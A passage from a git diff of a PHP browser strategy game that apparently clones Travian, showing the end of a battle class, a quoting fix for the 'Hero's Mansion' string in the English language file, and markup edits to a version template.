$moraleBonus + ); +} }; $battle = new Battle; diff --git a/GameEngine/Lang/en.php b/GameEngine/Lang/en.php index 0cd14503..acd85225 100755 --- a/GameEngine/Lang/en.php +++ b/GameEngine/Lang/en.php @@ -1156,7 +1156,7 @@ define('WHICH_OCCUPIED', 'of which are occupied.'); define('TRAINING_COMMENCE_TRAPPER', 'Training can commence when trapper is completed.'); define('TRAPPER_DESC', 'The trapper protects your village with well hidden traps. This means that unwary enemies can be imprisoned and won't be able to harm your village any more.
Troops cannot be freed with a raid. If the owner of the traps release the captives all of the traps will be repaired automatically.
Tribe-specific: Gauls only'); -define('HEROSMANSION', 'Hero's Mansion'); +define("HEROSMANSION", "Hero's Mansion"); define('HERO_READY', 'Hero will be ready in '); define('NAME_CHANGED', 'Hero name has been changed'); define('NOT_UNITS', 'Not available units'); diff --git a/Templates/version.tpl b/Templates/version.tpl index 504bb132..46792df7 100644 --- a/Templates/version.tpl +++ b/Templates/version.tpl @@ -16,7 +16,9 @@ ################################################################################# ?> -
+
+
-
-
\ No newline at end of file + + +